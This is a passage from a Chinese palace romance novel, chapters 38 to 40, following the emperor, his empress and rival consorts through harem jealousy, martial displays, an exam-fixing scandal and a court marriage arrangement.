再看她头饰,未有鲜妍绽放的花朵点缀,不由为御花园的花草而庆幸。晨起他邀皇后同游夜昙亭,十分期盼。 “看你穿戴,似乎很喜欢翡翠。” 乾元帝:“朕私库有一副南部进献来的细糯种,匀称细腻,就算是辛劳你献舞的谢礼吧。” 南部的细糯种翡翠,民间算是稀罕物,到安妃眼里便没有那般稀奇。 她的万寿宫有一整片糯冰种翡翠打造的屏风架,那等物件才叫名贵。 等自己来日御幸,也好和陛下共赏。 此时嘛,安妃高兴地起身谢恩。 东西不值钱,重要的是皇上看重自己。 “臣妾一定好好练习,绝不会辜负皇上对嫔妾的期望。” 第38章 那枪朕耍得贼明白! 请安过后, 董贵人有心留下跟皇后娘娘聊聊天,陛下还在,只好不舍离开。 一出宫门赵嫔哼了声:“前些时候看你善得像个羔羊, 原来是装贤, 在跟我们玩心眼,哄得皇后把陛下劝到春露台。怎么?今日有本事也赖着别出这门呐。” 赵嫔位份高, 董贵人不想跟她拌嘴,省得惹出茬架给陛下皇后娘娘添堵,“赵嫔姐姐说得有理,妹妹记下了。” 赵嫔一拳打进软棉花里, 竖起眼狠狠地剜了几下, 太用力, 董贵人似笑非笑:“姐姐眼睛不舒服?” 赵嫔扭头就走。 半途追上坐抬辇的安妃,赵嫔眼睛一转:“嫔妾给安妃娘娘请安。” 安妃俯视她:“妹妹起吧。” 赵嫔伴在安妃辇侧, 边走边道:“娘娘肚量真叫嫔妾敬服,可惜有些人不知尊卑, 苦心钻营, 真叫人呕心!” 安妃:“赵嫔这话叫本宫听不懂了。” 她爷爷的,这宫里就几个女人, 怎么净是弯里弯绕的? 赵嫔腹诽, 可惜安妃不是董贵人, 自己屈居人下,不得已弯着腰过低檐,“嫔妾只是为娘娘叫屈。” “春露台偏僻,哪里有娘娘的万寿宫更能镜水楼台先得月?若非忠武将军谥功,陛下感念旧军情谊,凭董贵人才貌如何配进后宫?” 这话说的, 嫁过人的都能破例入縡坤宁宫,董贵人那点不足处根本不值一提。 安妃心道。 “既得了天恩,凭她那般就该老老实实的。您瞧她对皇后那巴结热乎劲儿。” 赵嫔幽幽叹气:“皇后娘娘也真是好性情,她不劝着陛下循旧例照位份御幸便罢,竟越过娘娘抬举春露台那个?” 安妃心里认可赵嫔这言论,但吃了选秀时魏家姑娘的教训,知道不能在外留下话柄:“赵嫔慎言。陛下圣恩,自有裁定,岂是你我随意置喙的?” 赵嫔:“娘娘教训的是,嫔妾一时失言了。” 两相分别,赵嫔回她的嘉福宫,安妃回了万寿宫,进门先摔了一套茶盏大大地出过气。 “娘娘别把赵嫔的话放在心上,她自己讨不了好,这才在娘娘跟前挑弄是非,怂恿娘娘去闹,她好渔翁得利!” 同样讨不了好的安妃气吼吼说本宫不蠢:“今儿你瞧见皇后那张狂的模样了吧?” 一想到今日坤宁宫乾元帝语气温柔地同皇后凑近了说话,安妃气得咬牙切齿:“春露台那个幸就幸了,本宫就当是陛下没品味,想吃点野食。既尝过了,便也该明白什么才是仙品!” 伺候的说可不是嘛,“坤宁宫那个老掉牙的一口烂肉,哪有您青春貌美?” “娘娘不必生气,陛下虽是天子,但骨子里男人的贪性改不了。委屈您这些时候,来日与您亲近过,自然会明白您的好。” 这当口,门上回禀说童大监来送东西了。 安妃正正脸色,出门恭敬地接了赏赐。 示意宫人赏过,安妃看都没看盘子上的糯种翡翠,只问陛下今日可忙,“天越发热了,家下进献了一个厨子,会做南边的冰宴菜,本宫想请陛下来尝个稀奇。” 童公公说劳娘娘费心:“前些时候恩科开考,这几日阅卷繁重,陛下一时腾不出辰光。” 安妃遗憾,道公公慢走。 晌午至,派去御前的宫人果然没把陛下请来。 安妃一人坐在摆满冰宴菜的桌前,心不在焉地吃了几口,“撤了吧。”撤下去的东西自然都进了宫人内监的嘴里,娘娘去湘妃榻上歇晌了,高家随嫁入宫的心腹被众位宫人恭敬着请到廊后食案中央位置坐好。 通政殿的童大监自殿内出来,晃眼的阳光一时刺得眼睛发昏,待得看清宫道上走远的身影,问:“万寿宫的?” 小内监说是,“安妃娘娘派人来请陛下去吃冰宴。” 不过童大监提前叮嘱过,小内监几句话打发了人。 童大监:“你小子又得金珠了吧?” 小内监嘿嘿笑了:“爷爷疼小人,小人都记在心里。” 袖子里一掏,沉甸甸的荷包,解开往里看,足有十来颗大拇指盖大小的金珠,黄灿灿的成色,足金足量。 童大监说你自己收着吧。 纵目远望,宫人豆青色身影远成一个小黑点了,他摇头失笑:“陛下不去,东西就不能送来吗?” 吃与不吃是一说,陛下享天下供养,什么稀罕玩意见不上?说安妃抠门,那不至于。说到底是觉得陛下既不去万寿宫,不能对坐而食,就懒得动心思。 那厢安妃睡饱起身,问过陛下还在通政殿,懒洋洋地缩在万寿宫打发辰光。 随嫁而来的心腹见她如此,想了想道:“娘娘何不给家里大公子递个信儿?” 安妃:“怎么说?” 心腹道:“大公子对您爱护,若是知晓您这些时候受的委屈,必会想法子帮您解困。” 安妃一想也是,传纸笔唰唰写了满满五张白纸,打发人送出宫,入夜前就得了哥哥的回信。 回信不长,四个字:妹妹且安。 深夜的高家 高大公子冷着脸从书房离开,高首辅瞧着儿子的背影头疼不已,宫里的安妃不得志,他这个当爹的如何能不知晓? 陛下新近遣派吏官编修新制刑策和税法,其中尖锐锋芒直指他们这些自前朝便荣膺的世家。 高家乃簪缨之首,众望所依,屈不得皇权。然陛下不是末帝,以战打下江山的人随时握刃而起,便又进不得,无法强势硬碰硬。 崔家新贵出了皇后,二房又去越州。越州!那可是高家祖源呐!其深意不可不小心思量。 如此明显的敲打,高首辅敏锐意识到急流勇退的征兆。 他再三叮嘱二女进宫后要韬光养晦,万事‘忍’字为先。 一月不到,董家一个青黄不接的门户,何必放在眼中? 长子太骄横,只认为他这个首辅做得太软。 万幸方才争辩,自己暂且压制住儿子的气焰。 夜里入睡,老妻又来哭诉:“你当了大半辈子的官,怎么就不能给阿奴撑撑腰?她是我快四十才怀上的,为生她,我这命险些丧了。多少年夫妻,我家里外操持,没有功劳也有苦劳吧?孩子嫁进宫里,陛下不给体面,你是陛下的老丈人,为何不狠狠地提点他!” 高首辅头大:“你也知那是陛下?我提点?我如何提点?把我头砍下来送到陛下案头去提点吗?” 高夫人给他好几拳:“我不管!你这丧良心的” 下人把老爷夫人夜半争吵的事情回禀到大公子跟前,高大公子攥着拳头满脸杀气:“陛下不肯施恩,那就莫怪我高家不留情面!” 于是彻夜联系幕僚来议事。 几日后,恩科开卷公开红榜 大乾开朝首次科考,天下才子苦末帝酷政久矣。 兴隆二年,陛下临朝,肃旧朝颓靡政风,天下蔚然,士人如过江之鲫汇聚望京,无数双眼睛盯着这一场科举。 红榜刚出没半个时辰,消息就传至后宫。 万姑姑得了消息,回禀给皇后娘娘, 素伞半悬,昳丽望京风华图只描了开头,崔雪朝搁下画笔:“怎么会落选?父亲看过梅越誊写后的答卷,虽不至甲等,乙中的位置也差不多。” 万姑姑:“不只梅越公子,这次科考,崔家子弟几位公子,无一人上榜。” “陛下知晓了吗?” 万姑姑说开榜前必得先由陛下御笔准予才能张贴示众。 如此便无可争议。 “给家下传话,让梅越几个稍安勿躁,不可混搅进什么议论中。再有”话音顿了下:“告诉他们,陛下不是昏君,能准允这样的结果,可见他们的答卷尚有上进的余地。失望过,再勤谨用功吧。” 万姑姑应是。 政事忙乱,陛下今夜歇在通政殿,让皇后娘娘按时歇着不必等。 翌日妃嫔请安后,董贵人留下叙话。 “叔伯们待我一般,不算亲厚,毕竟一个姓氏。” 她求助皇后:“家下来信,说堂哥落榜,无颜再见父母,要自绝于宗祠。” “落榜而已,又不是什么了不得的大错。” 崔雪朝看她:“你是什么意思?想让本宫替你堂哥求陛下补个榜名?” 董贵人摆手说不是:“我堂哥那人,文不成武不就,叔伯传信,隐晦想让堂哥承了我阿兄的官补。” 那是她亲哥用命换来的忠武将军,正四品呢。 董贵人红了眼眶:“我打心眼里不愿意,可叔伯说堂侄儿往后记在我亲哥名下,好赖逢清明中元节、哥哥冥诞,有个子嗣烧香火,他地底下少受些欺负。” 这话她说得心酸,崔雪朝听得不喜。 “怎么就非得你堂侄儿烧纸钱,忠武将军才能消受上?宫里有宝福殿供着好些菩萨,路路神仙本宫不信没一个能送福禄给你哥哥?” 董贵人愕道:“那怎么能一样?堂侄儿长大,后嗣好几代” “前朝拢共百年,四代帝传下来,现如今还有后嗣给他家先先先皇帝烧纸钱吗?” 董贵人锯嘴不语了。 莫说烧纸钱,谁人敢把前朝那些个祖宗摆出来,今儿见香火,明儿见阎王。乾元帝领着大军进望京,前几天没干别的,净用前朝宗亲的脑袋磨刀子了。 “往后我给哥哥烧钱,赶在我死前让哥哥往生了。”董贵人很快想明白了,“那我怎么回叔伯们的家信?” “看到书信后第一眼,你的想法是什么?” 董贵人看看皇后清冷的面容,犹豫几息选择说真心话:“狠狠啐他们一脸唾沫,厚颜无耻的东西!我哥哥打仗用命挣下的功勋,他们倒滋润地捡现成的白吃!当年我爹娘没了,棺材板钱不够,我哥哥还小,挣不来钱,去求叔伯施借。那群烂心窝的,拣了十个铜板打发了。” 好心酸的往事,憋在心里没处说,这会儿瞧着皇后娘娘的眼睛,全都吐露了:“我哥哥有志气,赊下棺材铺的账目,卖了十年奴身。后来参军跟着陛下打仗,本以为荣归家乡能扬眉吐气,天不开眼,最后一仗死在了庆城。” 一旁阿屏听得鼻酸,呜呜的泛眼泪。 崔雪朝由她伤心,过会儿让人打水给她擦脸。 “所以说何必白便宜那一家子。按你说的,你那堂哥自己个儿不争气,就算得了你哥哥的官补,也没本事发扬光大。再得意起来闯下祸,脏污了忠武将军的清名。” 董贵人说是这个道理,出了坤宁宫往家里回信,也不必斟酌言辞,怎么解气怎么写。 本以为这一回信,跟董家亲戚便算是断了亲。 哪料没几日急信递进宫里,说是董家公子跟着书院的十来个学子去太正宫门前静坐抗议了! “好端端的,他是吃药丸发癫想死了?”董贵人道。 内监:“回贵人的话,董家公子与学子们检举本次科考有考官存在泄题之举,他们认为红榜不公,静坐抗议求陛下明察。” “贵人不若去寻娘娘做主?” 董贵人正在库房翻嫁妆箱子,听说皇后娘娘爱看别人耍枪,她感念那日皇后娘娘对她的开解,旁的金银首饰自己送不出手,唯独会些舞刀弄棒的三脚猫功夫。 花架子嘛,她耍给娘娘看个高兴! “由着他自己作死,我才懒得管他呢。” 那内监不是春露台伺候的,闻言哽了下,“毕竟是贵人母家” 董贵人手腕一转,花枪尖儿唰得顶在这人脖前,吓得内监腿软:“你这人眼生得很,方才你说自己是什么地方当差的?” 内监:“小人是延庆门上的,平常做些往来递送的差事。” 董贵人收回花枪,颔首示意他走吧。 等那内监软虾似的挪出宫,招呼人换了身轻松的衣裳,带上花枪直奔坤宁宫。 她到时,恰好是后半晌。 皇后娘娘正在宫内湖石独峰上垂钓。 董贵人:“娘娘兴致真好!” 接应的宫人不好说皇后娘娘并无垂钓的爱好。 那杆子是陛下甩下去的,结果等了大半天没有上钩的。前朝传了急信,陛下不甘心带着娘娘爬老高结果空手而归,磨着皇后娘娘替他看着杆儿。 嘿,也是稀罕。 娘娘接过那杆子没一盏茶,水面涟漪,侍卫费好大力气拽出水面,竟然钓出好大一尾鲤鱼! 董贵人知晓垂钓在于静待的那份闲逸,先给皇后拜礼请安,表明此次前来是来给娘娘耍艺解闷的。 董贵人早在上峰路上时便择了地方,“娘娘您瞧那处石台。” “您就坐在此处不必动,嫔妾在石台展示才艺。既能让您看见,我那头的声儿又传不过来,惊动不了娘娘垂钓的兴致!” 董贵人语气兴奋,说罢也不顾皇后是何态度,一拱手,颇具江湖气的抱拳告退。 为给皇后解闷,董贵人特意穿了身紫地孔雀纹的胡服。 她是北地人,生得本就比寻常女子高些,貌不娇美却很英气,腕沉悠荡,花枪呼地旋成一圈,她不是那日为亡兄垂泪的伤心女娇娥,是个巾帼不让须眉的烈女子! 崔雪朝情不自禁地站起身凝望起来。 石台清素,绿的是松,红的是垂枝桠的绯山茶。 仟仟似柳枝的花枪,在董贵人手中迅疾如霜雪,眸回台,工架笔挺,不输任何马上冲锋的男儿。 董贵人架手逾肩,枪顺势脱手,侧翻原地倒转,于半空中精准地飞踢花枪,枪在空中飞速旋转,人再落地时,不必用目去寻,眼在前,右臂精准地斜探向上,那枪落入掌中! “哇!!!” 阿屏看得目不转睛,啪啪用力拍起手掌,叫好连连。 一连排站岗中的贺功望一眼石台上董贵人软了吧唧的动作,再看眼连蹦带跳的阿屏,淡淡地收回目光。 乾元帝处理完政事,返回独峰下时已经听说了董贵人来坤宁宫给皇后娘娘表演解闷的事情。 “她人挺好。” 乾元帝离开前就发现皇后对高台垂钓的不感兴趣,董贵人来了也好,分散皇后的注意力,免得皇后认为他垂钓的爱好一般,连带着误会他是个死板的人。 走得近了,已经能听到皇后身边贴身宫人激动议论的话语声。 乾元帝对童公公道:“大日头,虽说峰山清凉,耍艺起来也不轻松,让内廷司把今年给春露台的冰鉴份例再加一份。” 童公公应是。 乾元帝心情不错,政事照着他计划那般稳步进行着,在后宫皇后与他情深,打了那么多年仗,头一回有了是在为自己而活着的感觉。 迈上最后一个台阶,唇边的笑还在,不过很快僵在脸上。 只见皇后并不在他择了又择的好位置帮自己把着钓鱼竿,她殷殷站起,眼神迷恋成一汪潋滟春水,那是在床帷内只有被他逼得潮起潮落后才会有的反应! “去把凉亭内的三勒浆端来,等贵人回来,正好能入口解渴。” 皇后的声语如久旱大地上的甘霖般,只是眼眸却舍不得从石台收回半分。 乾元帝顺着她专注的视线偏向下首。 很快不悦地拧起眉峰。 董贵人那穿的是什么玩意?大乾是亡了吗,她穿胡服给谁看? 再说那花枪杆子软了吧唧,那东西上阵沙杀敌刺鸡毛吗? 顶正宗的枪法,枪势汹涌,能惊万物,可动天地,长枪裂空之处犹如虎啸龙吟,非伟丈夫无法施展。 董贵人的枪法耍得明白吗?换朕耍才对味。 一段久远的记忆从脑海中浮现 当年山匪抢了军粮,自己恰巧路过,骑马踏破山匪头寨时,当年的董贵人似乎正攥着匕首打算攮死那个贼匪? 要不得。此女凶险起来不由为皇后担忧。 皇后柔弱,断不可让皇后与之太过亲近! 第39章 快点再快点 一方凉亭, 垂悬竹纱,风漫过,蓬勃的艾香下, 乾元帝冷静自持地坐定。 几丈之外 皇后眼睛盈满笑意, “你花枪跟谁学的?舞起来飒爽得很!” 董贵人浅语,“花架子功夫, 是我哥哥闲时教的,不过我不如他功夫老练,耍起来只能哄外行人。” 对于方才那套花枪表演,她们彼此交流起来格外投入。 皇后:“对了, 我记得你骑术也很不错。” 董贵人两眼灿灿, 说娘娘竟然还记得? 皇后点头:“当然!北麓苑练习骑术, 你骑着马射靶,十之五六都能上靶。” 十之五六而已, 这是什么了不起的本事? 朕当年上马杀敌,百步飞箭, 抬手便能夺敌将性命! 乾元帝不好直言, 免得落下王婆卖瓜的自负印象,于是眼神往童公公那儿一递。 童公公硬着头皮打断正在上演妻妾和乐的皇后与贵人, “皇后娘娘垂钓的那尾鱼还鲜活着, 您看” 崔雪朝意犹未尽地暂收话兴, 威严守成的陛下似乎还沉浸在恼人的政事中,眉峰蹙着,神情也很僵硬。 她怕董贵人不自在,吩咐宫人搬来新的食案,“鱼生,你吃的惯吗?” “尚可。” “吃不惯。” 两个声音同时回道。 董贵人自认是陛下与皇后娘娘这边阵营的, 于是少些生疏,笑了笑:“嫔妾觉得生肉腥腻,只尝过一回。今日再尝尝,或许就吃惯了。” 崔雪朝说那倒不必,就近坐在董贵人对面的蒲团上,“我以前也吃不惯生食,第一次吃还呕过。后来去外埠,港埠渔船新打上来的鱼虾,不须旁的蘸料点味,薄如蝉翼的一片送入口中,吃着是甜的。” 活蹦乱跳的鲤鱼自脊背分作两份,一份片了摆在蒲叶盘上,小碟子酱汁水。另一是端炉凉水仔姜和葱白水,鱼肉滚飞白嫩,椒汁水蘸着吃。 董贵人起身从附近一株植被上摘了几颗小红果,掐滴在碗里,筷子头点点一尝,眉毛飞扬:“娘娘要试试吗?这果子味涩酸,搭配起来很爽口。” 崔雪朝点点头,董贵人的口味与她很合,又问最上首看起来有些苦大仇深的陛下:“您要试试吗?” 乾元帝声音冷淡:“朕吃生的就行。” 瞥见阿屏已经去摘野果,“野树上的东西莫要随意入口。” 董贵人说陛下别担心:“这野果名叫黑藤子,绝对没毒。” 为证明其话语可信度,把桌边放着的两颗送到嘴里,一边忍酸嚼着一边跟皇后意会地挑眉。 “好吃吗?” 崔雪朝见她神情古怪,忙吩咐倒甜水:“很酸吧?” “酸”董贵人嗦下口水,恳切道:“嫔妾觉得娘娘还是不要尝试了。” 崔雪朝说好,转头吩咐阿屏不必摘了。 乾元帝:“” 嚼口没滋没味的鱼肉,见她们又嘀咕起那花枪里的门道,总也没插话的余地,冷不丁开口道:“董贵人家中堂兄今次下场应试了吧?” 董贵人心说好端端的,陛下好不懂事,做什么提董家那几个倒胃口的。 起身蹲个礼数,“回陛下话,家下堂兄的确参加了今年的恩科。” “可惜堂兄读书不上进,前儿开榜,没他的名次。” 乾元帝:“既是读书不上进,又为何去太正宫前静坐抗议?” 董贵人摇头:“嫔妾昨儿还跟皇后娘娘说过,家下那堂兄是个分不清是非轻重的,做事情不拎拎清楚,想来吃混酒吃傻了。” 乾元帝:“吃酒吃傻了就到宫门前惹事生非?!你董家便是这般回报朕的恩情?” 董贵人一凛,跪下开始请罪。虽然这罪让她有些摸不着头脑。 崔雪朝瞧眼雷声大雨点小的陛下,猜测此举借题发挥,九成是在做戏。 于是望向董贵人的眼神越发心疼,她被蒙在鼓里,可别吓坏了。 乾元帝触及皇后那眼神,越发憋屈。 鲤鱼不是自己钓的,吃着还行吧,毕竟是皇后的成果。 独峰地势高,本来夫妻把手共赏夕阳西下的美丽。 皇后说乏了,只得留待下次。 高大魁梧的陛下一步能跨三个台梯,这会儿一步一梯,听后边皇后很没必要地安慰董贵人。 “你别担心,陛下不会因为你堂兄的事情就迁怪。” 董贵人先说娘娘慢点小心石子,然后才道:“我不担心。堂兄闹去吧,闹得挨顿板子最好。” 说完又很愧疚:“今日因为我的事情搅扰娘娘的清闲了。” 眼睛往不远处示意下:“陛下来的真不是时候。” 崔雪朝往前头一看,就见陛下不知为何,脚步突然加快,身侧童公公一个踉跄险些翻滚下山去。 宫人内监呜呼哀哉闹出好大的动静。 董贵人攥着皇后的手臂站稳,生怕被牵连到。 “娘娘别怕,嫔妾护着您。” 眼看着陛下如风卷过境般消失在石阶尽头,董贵人才松开皇后娘娘的手腕:“我送娘娘回坤宁宫吧。” 到坤宁宫门口,董贵人又道:“改日嫔妾再给娘娘耍花枪解闷。” 崔雪朝点头,目送她走远,往宫里走,边道:“董贵人今日辛苦,让小厨房送几样菜去。对了,陛下去哪儿了?” 话落,看清前方,话语顿住。 偌大的坤宁宫正殿空地上,不知何时摆了好长一溜武器架。 架前乾元帝负手在后,与抄手游廊上的皇后对视,“刀枪剑棍,戟斧钺钩,叉鞭锏锤,槊镗狼牙棒,皇后喜欢哪个?” 崔雪朝往那一排勾魂索名的兵器上看了一圈,以为是他要赏赐自己,颇有些兴致地走近观摩一番。 闺门淑仪实则不该触碰这些,从小到大她唯一接触的凶器就是匕首,“只有我手臂一半短。” 她比划了下,道:“那时我跟双亲南下逃难嘛,白日走官道还好,夜晚投宿官驿,鱼龙混杂,母亲和我一人怀里抱一把匕首防身,虽然从来没遇上歹人,但只要握着那匕首,心就安定不少。” “有一回在一野村停歇,恰好有个老兵,还教了我几个招式呢!” 袁望问:“你学会了吗?” 崔雪朝眼神晶亮地点点头。 在他面前十分骄傲地摆了摆架势:“后来懈怠了,有家丁护卫,也就没再练习。” “你要教我武艺吗?” 袁望隐下本来的目的,“你想学吗?学起来可能会很苦。” 宫中人少,皇后庶务并不繁重,崔雪朝:“空了练练,强身健体。” 强身健体 这个好处很重要。 袁望从架上选了鞭子给她看:“女子学鞭最快,无刃不易伤己,一劈一扫的技法很简单。” “我手里这根太沉,是铁骨,外裹金丝,坚韧无比,不适合初学者。我的私库中有根翠微柔丝,乃是极细的丝线编织而成,轻盈柔软,但力道不可小觑,稍后我让他们给你送来。” 崔雪朝听得心动不已,“你也会使鞭子吗?” 这话真真问到关键处了。 袁望轻描淡写中夹着无比自信,一点头:“十八般武艺,我都学过。鞭道,只是小意思。” 下颌微抬示意下廊口,“你自去那里坐着,瞧我给你露一手。” 崔雪朝盎然等着。 夕阳余晖下,他身姿挺拔如松,肩阔而腰窄,一双眼光射寒芒,气势刚健好比骄阳。 一个利落的起手式后,臂力带动,长鞭如灵蛇出动,鞭梢带起尖锐风声,有蜻蜓点水的灵巧,落地时却如惊雷劈下。 横向扫动,长鞭抡成原形,以身为轴,密而严的鞭风形成防护圈护住周身,一夫当关横扫八方! 她看得目不转睛,眼花缭乱,及至鞭风扫过正殿外的大柱,竟不堪其锋形成一道入木三分的裂口! “如何?”袁望一点点收着长鞭子,这么一阵用力甩,竟然连大气都不用喘! 崔雪朝敬佩不已,颠颠靠近他身前:“真厉害呀!” 袁望很想问与董贵人的花枪比,究竟谁高谁低? 不过看她迷恋的眼神,答案不言而喻。 崔雪朝:“鞭子也能杀敌吗?” 袁望说这你就不知道了。 良机来了,展露自己雄姿英发的时刻便是此时了。 他与她相携入殿,一边道:“战场敌我军阵对峙,都穿铠甲。击溃铠甲防线,便是破敌关键。” “对付铠甲的方式有很多种,比如用硬弩强弓射穿甲箭刺穿铠甲,用钩镰枪钩走敌人的头盔,用铠通一类的短刀刺入铠甲的缝隙等等,但是综合来看,对付铠甲性价比最高的方式,就是用钝器。” 崔雪朝听得津津有味:“钝器?什么钝器?” “这你就不懂了吧。” 袁望给她递去净手的巾帕:“金瓜锤,叶锤,骨朵,铁链夹棒等等,都算钝器。还有就是鞭和锏。鞭锏也往往合称,有些兵书上认为锏是鞭的一种。” 秦妈妈进来上晚膳。 就见陛下夸夸其谈,从第一道槐叶淘饭上桌时,在说鞭子和锏的区别。到最后一道汤水摆好,话题延展到鞭子形状的发展历史。 晚膳撤下,陛下漱口之余不忘跟身后皇后娘娘说普罗大众对于鞭子的误解,只以为鞭子驯化牲口,是软的,实则不然,“鞭子当武器,那跟软是一点都不沾边!” 万姑姑瞅瞅陛下的唇角,吩咐宫人制些润口舌的梨茶。 好大一炉梨茶,皇后娘娘饮了两盏,其余都在陛下喋喋不休的话语中一杯杯喝光了。 入夜沐浴 阿屏很心疼皇后娘娘:“陛下好能说呀。” 好几回阿屏人还站着眼皮子都在打架了!全是被陛下的话音给催眠的! 崔雪朝想想:“今日是有些话多,大约说到他熟知的领域吧。” 阿屏问:“娘娘听不倦吗?” “还好呀。” 阿屏混沌的脑子回忆了下,“那娘娘还记得双手鞭子和单手鞭子在重量上的区别吗?” “双手鞭一钧,单手鞭半钧。” 阿屏不由惊叹:“娘娘真的把陛下说的话都记下了?我还以为您听着听着在发呆呢。” “还好还好。” 崔雪朝撩撩水面上的鲜花瓣儿,刚染好的凤仙花色的脚趾心情很好地动动:“陛下讲得很有趣。我喜欢听。” 从前她就知道他是个大英雄,越了解英雄的往事,越发为他话语中偶现的金戈铁马生涯而感兴趣。 阿屏感悟:“我看娘娘喜欢的不是陛下的故事,而是陛下吧!” 若不然那么生硬无趣的内容,不是喜欢,怎么会有耐心? 崔雪朝:“还好还好。” 只是脸颊染上绯色的红晕,这一晚绵软地靠在陛下怀中,抚着他臂膀上硬邦邦的肌块,催他慢点再慢点,过一会儿又软着调儿,催他快点再快点。 第40章 果然成了婚的人十分不一…… 是在做梦。 她倚在母亲肩头, 大船底层挤满了人,气味浑浊难辨,磨毛边的袖口沾湿捂住口鼻, 她好饿, 实在睡不着。 昏暗中,感受到母亲一点点抚顺她的长发, 严实的编发,艰辛的路上没有点缀,母亲安慰她,说阿朝不怕, 等到了外埠, 有舅舅在, 一切都会好。 她问母亲外埠的家是什么样子。 行船粼粼水声和母亲柔软的声调让她对未来充满了希望。 睁眼时,母亲温和的声线还回荡在耳畔。 眼角痒痒的, 崔雪朝下意识以为是眼泪,抚了一下才反应过来那是身侧人的头发。 睡前两人胡闹了好几回, 很奇怪今晚自己格外的有兴致, 一切水到渠成,结束时很累, 脑子里空茫成一条静淌的浅溪, 心跳还在节奏中, 突然觉得他此前说二人般配倒也不错。 二十四的年岁,身子骨风韵成熟,吃得消折腾,粗俗些说,话本子上所谓的大补,貌似并不是夸张。 就连最开始被他搂着睡的不习惯, 也成了成规。 拂开面上的发丝,小腿有点凉,哼哼了下,他没睁眼,脚掌在床褥上摸索了下,脚趾夹住被角拉高覆好。 成婚快满一月,相处蜜里调油,诸如此刻,会有老夫老妻的感觉。 昏昏沉沉想,母亲对她未来的殷盼看来成真了。 翌日有恩科后礼部设的烧尾宴。 可惜太正宫外的静坐抗议,为这场烧尾宴添了不大不小的难堪。 陛下不予理会,也不叫人驱赶学子静坐,入宫赴宴的官袍们打宫门前进出,瞧着不远处乌泱泱静坐的人群,背过身去议论不休。 今科状元乃越州人士,其人在外传言貌若潘安,乾元帝点三元时见过此子,才学可堪,论点中规中矩,是个很懂中庸之道的人。至于脸蛋,乾元帝不爱男色,也无法从同性的角度去评点状元,与皇后讲述时,只说状元有张小白脸。 恩科关系国之大计,烧尾宴前宴百官,后赏官眷命妇。 崔雪朝着皇后冠服,像个菩萨似的稳坐高处,等着官眷们进来一一拜会。她只需挂起慈善的笑容,上了岁数的问问身体如何,年岁小的有些根源门第的,该赏见面礼就赏,问问对方年岁平日里有何爱好。 “崔家大宗的嗣子尚未婚娶。” 有人偷偷议论着:“今次落榜,但那嗣子年轻,又有皇后做嗣姐,来日不可估量。” “怪不得好些夫人领着家里姑娘给皇后娘娘瞧呢。” 安妃同母亲对视一眼,等身周清闲下来才开口道:“哥哥替我出气是好心,但怎么做事不估量分寸?” “本来陛下前儿都让彤书局的给我记红,哪料那红榜一出,陛下当日见了皇后,还跟董贵人共赏景色,独留我成了后宫的笑话。” “抹去一两个人给崔家一个教训就是,何必全都清理,陛下那里不舒心,连带着我没法御幸。” “好了好了,你就别埋怨了。” 高夫人道:“你哥哥是急躁了些,待我归家去定好好规训他。” 看女儿瘦巴巴的脸,很心疼:“崔家不必放在心上,你哥哥抹了他家子弟的功名,你父亲虽生气却很快寻了能吏堵住旁人的嘴。再有那董家,她小小贵人不足挂齿,陛下对她堂兄静坐抗议的事儿很不满,赏什么景色能赏得让她跪地请罪?” 是有传言那日陛下见过董贵人后脸色十分难看。 安妃这才气顺。 吃一口茶汤,斜眼瞧着柱国公夫人领着一个年轻姑娘在皇后跟前坐着说话,“那是谁?” 高夫人迟疑下,见女儿追问不休,只好告知:“那是杨家七姑娘,前些时候才从陇右到了望京。” “她来做什么?” 高夫人:“汉王外族是杨家,陛下御封杨氏妃之父为柱国公,举家至望京,家下姑娘来也正常。” 安妃不信:“他家上年就搬来了,一个姑娘怎么隔这么久才来?” 高夫人:“上个月七姑娘的未婚夫去了,她自然要来望京。选秀时杨家无合适人选,汉王势孤,柱国公月前上折,进献家中七姑娘入宫,陛下已经准允了。” “她是什么位份?” “柱国公有辅国之功,汉王和故去杨氏妃的体面,小也是嫔。” 嫔还好。 安妃松口气,至少没能越过自己去。 只是看着上座杨家七姑娘接了皇后的赏,皇后竟能如常脸色,难免有看好戏的成色:“陛下与皇后大婚不足一月便抬举了汉王外家的姑娘,也不知皇后心里是何想法。” 大约和她一样,气得咬牙切齿却也只能含泪咽下吧。 恰时,前宴鼓乐稍停,原是陛下起身举樽贺恩科状元郎,一饮之后,陛下阔步行至席间与状元郎闲聊起来。 听闻状元郎竟未娶妻,陛下便道蕖阳郡主年华二八,貌美如花,偏爱才子,不知状元郎是否有意? 仰赖陛下打下江山时年纪尚健,子嗣只汉王一个,状元郎不知蕖阳郡主是谁,只能是宗亲中的一位。 “臣资质平庸实在难以匹配郡主恩德” “高卿乃尔之老师,你若资质平庸,置高卿于何地?又置本次恩科点你之名的考官于何地?” 状元郎的酒气唰得褪尽,后背冷汗丛生,用尽平生最大的克制才不去抬头看旁侧的高家大公子,“臣谢陛下隆恩。” 状元郎的应准,立时后宴官眷命妇看向另一位主人公蕖阳郡主。 蕖阳郡主方才跟皇后娘娘拜会时便得了消息,早就隔着帘子看过状元郎的才貌,十分满意说不上,至少看得顺眼。 娇羞地抬眼与恭喜的诸位客套,及至宴罢,守在宫道口等陛下御辇经过,蹲个身给请安。 “来找朕做什么?” 蕖阳郡主说没别的大事,“嫁给状元郎给族兄解决麻烦,族兄不得给我些补偿吗?” 乾元帝:“你看上什么了?” “暑热,听说陛下过几天要带着皇后娘娘去明园避暑。明园往东几里有座小春山群,族兄赏我吧。” “可以。” 乾元帝道。 状元郎功补了吏部的缺儿,虽不是紧要职,却让他很恶心,只是一时发作不得。尚了主,高家用起来膈应,也就成了废棋。 小春山群赏给蕖阳不算赔本,只是一道:“你自己管着,不得让你娘转到你哥哥名下。” 蕖阳乐呵呵地点头,“族兄如今真好说话。果然成了婚有位好阿嫂管束的人就是不一样!” 方才席间皇后看自己的眼神很愧疚,想来他们夫妻一体,做丈夫的要牺牲女子的婚事来破朝局的坎儿,当妻子的心下不忍,偷摸给了她一千银子补贴。 乾元帝说是嘛,进了坤宁宫,见皇后正坐在镜子前拆解满头珠翠,顺势接了宫人的差事,犀角梳子蔓过皇后乌黑柔顺的长发,一边瞧镜子里的自己。 崔雪朝说你今日很高兴? 袁望瞧瞧镜子里的自己。 他死板严肃的脸像是被神仙点化过,不知何时竟然变得柔和无比,那等眼波,他从来没想过能出现自己身上。 他把蕖阳的要求说给崔雪朝听,崔雪朝点点头,“蕖阳郡主的父亲丧于战场,荣封是虚名,小春山群才是实在的。” 料理庶务越发熟稔的皇后于是跟陛下说起一座小山群能养活百十人口的内里门道。 治小山如治大国,细微处才知锋芒。 皇后说起小山群管事之重要性,乾元帝便发散想到朝局吏部的重要性。 